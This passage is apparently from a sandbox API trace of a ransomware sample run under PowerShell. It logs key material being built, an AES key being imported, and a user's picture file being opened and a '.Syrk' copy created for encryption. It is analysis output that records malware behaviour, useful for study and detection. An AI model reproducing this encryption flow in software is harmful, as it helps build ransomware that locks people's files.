Memory=0x5c640ac) returned 0x0 [0256.016] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0256.016] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.016] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0256.016] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0256.016] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.016] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0256.016] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.017] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0256.017] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0256.017] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.018] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0256.018] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.019] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0256.019] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0256.019] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.019] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0256.019] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.019] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0256.019] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0256.019] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.019] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0256.019] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.019] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0256.019] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0256.019] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.020] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0256.020] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.020] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0256.020] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0256.020] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0256.021] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0256.021] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.021] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0256.021] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.021] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0256.021] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0256.021] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.021] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0256.021] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.021] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0256.021] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0256.021] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.021] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0256.021] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.022] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0256.022] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0256.022] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.022] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0256.022] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.022] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0256.022] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0256.022] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.022] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0256.022] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.022] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0256.022] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0256.022] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.023] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0256.023] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.023] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0256.023] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0256.023] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.023] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0256.023] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.023] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0256.023] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0256.023] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.023] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0256.023] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.023] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0256.024] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0256.024] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0256.024] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0256.024] SystemFunction041 (in: Memory=0x3af9e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af9e4) returned 0x0 [0256.024] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0256.024] SystemFunction040 (in: Memory=0x3af9e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af9e4) returned 0x0 [0256.024] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0256.024] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0256.024] SystemFunction041 (in: Memory=0x3af9e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af9e4) returned 0x0 [0256.025] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0256.025] SystemFunction040 (in: Memory=0x3af9e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af9e4) returned 0x0 [0256.025] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0256.025] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0256.025] SystemFunction041 (in: Memory=0x3af9e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af9e4) returned 0x0 [0256.025] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0256.025] SystemFunction040 (in: Memory=0x3af9e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af9e4) returned 0x0 [0256.025] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0256.025] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0256.025] SystemFunction041 (in: Memory=0x3af9e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af9e4) returned 0x0 [0256.025] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0256.025] SystemFunction040 (in: Memory=0x3af9e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af9e4) returned 0x0 [0256.025] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0256.026] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0256.026] SystemFunction041 (in: Memory=0x3af9e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af9e4) returned 0x0 [0256.026] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0256.026] SystemFunction040 (in: Memory=0x3af9e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af9e4) returned 0x0 [0256.026] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0256.026] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0256.026] SystemFunction041 (in: Memory=0x3af9e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af9e4) returned 0x0 [0256.026] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0256.026] SystemFunction040 (in: Memory=0x3af9e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af9e4) returned 0x0 [0256.026] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0256.026] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0256.026] SystemFunction041 (in: Memory=0x3af9e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af9e4) returned 0x0 [0256.026] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0256.026] SystemFunction040 (in: Memory=0x3af9e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af9e4) returned 0x0 [0256.027] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0256.027] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0256.027] SystemFunction041 (in: Memory=0x3af9e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af9e4) returned 0x0 [0256.027] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0256.027] SystemFunction040 (in: Memory=0x3af9e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af9e4) returned 0x0 [0256.027] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0256.027] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0256.027] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0256.028] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0256.028] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0256.028] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0256.028] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0256.028] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0256.028] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0256.028] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0256.028] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0256.028] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0256.028] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0256.028] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0256.028] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0256.028] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0256.028] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0256.029] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0256.029] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0256.029] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0256.029] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0256.029] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0256.029] EtwEventActivityIdControl () returned 0x0 [0256.029] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0256.029] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0256.029] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0256.029] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0256.031] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d320) returned 1 [0256.033] CryptImportKey (in: hProv=0x5c4d320, pbData=0x23f9724*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c99920) returned 1 [0256.033] CryptContextAddRef (hProv=0x5c4d320, pdwReserved=0x0, dwFlags=0x0) returned 1 [0256.033] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.034] EtwEventActivityIdControl () returned 0x0 [0256.034] EtwEventActivityIdControl () returned 0x0 [0256.034] EtwEventActivityIdControl () returned 0x0 [0256.039] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\y A649h.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\y a649h.jpg")) returned 0x20 [0256.040] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\y A649h.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\y a649h.jpg")) returned 0x20 [0256.040] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\y A649h.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x28 [0256.040] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\y A649h.jpg", nBufferLength=0x28, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\y A649h.jpg", lpFilePart=0x0) returned 0x27 [0256.040] EtwEventActivityIdControl () returned 0x0 [0256.041] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.041] EtwEventActivityIdControl () returned 0x0 [0256.041] EtwEventActivityIdControl () returned 0x0 [0256.041] EtwEventActivityIdControl () returned 0x0 [0256.042] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\y A649h.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x28 [0256.042] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\y A649h.jpg", nBufferLength=0x28, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\y A649h.jpg", lpFilePart=0x0) returned 0x27 [0256.042] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0256.043] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\y A649h.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\y a649h.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x364 [0256.043] GetFileType (hFile=0x364) returned 0x1 [0256.043] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0256.043] GetFileType (hFile=0x364) returned 0x1 [0256.043] EtwEventActivityIdControl () returned 0x0 [0256.043] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.044] EtwEventActivityIdControl () returned 0x0 [0256.044] EtwEventActivityIdControl () returned 0x0 [0256.044] EtwEventActivityIdControl () returned 0x0 [0256.044] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\y A649h.jpg.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0256.044] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\y A649h.jpg.Syrk", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\y A649h.jpg.Syrk", lpFilePart=0x0) returned 0x2c [0256.045] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0256.045] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\y A649h.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\y a649h.jpg.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x368 [0256.046] GetFileType (hFile=0x368) returned 0x1 [0256.046] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0256.046] GetFileType (hFile=0x368) returned 0x1 [0256.046] EtwEventActivityIdControl () returned 0x0 [0256.046] CryptGenRandom (in: hProv=0x5c4d320, dwLen=0x10, pbBuffer=0x24093b0 | out: pbBuffer=0x24093b0) returned 1 [0256.047] CryptContextAddRef (hProv=0x5c4d320, pdwReserved=0x0, dwFlags=0x0) returned 1 [0256.047] CryptDuplicateKey (in: hKey=0x5c99920, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c994a0) returned 1 [0256.047] CryptContextAddRef (hProv=0x5c4d320, pdwReserved=0x0, dwFlags=0x0) returned 1 [0256.047] CryptSetKeyParam (hKey=0x5c994a0, dwParam=0x4, pbData=0x240a6e8*=0x1, dwFlags=0x0) returned 1 [0256.047] CryptSetKeyParam (hKey=0x5c994a0, dwParam=0x1, pbData=0x240a6b4, dwFlags=0x0) returned 1 [0256.047] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.048] EtwEventActivityIdControl () returned 0x0 [0256.048] EtwEventActivityIdControl () returned 0x0 [0256.048] EtwEventActivityIdControl () returned 0x0 [0256.049] EtwEventActivityIdControl () 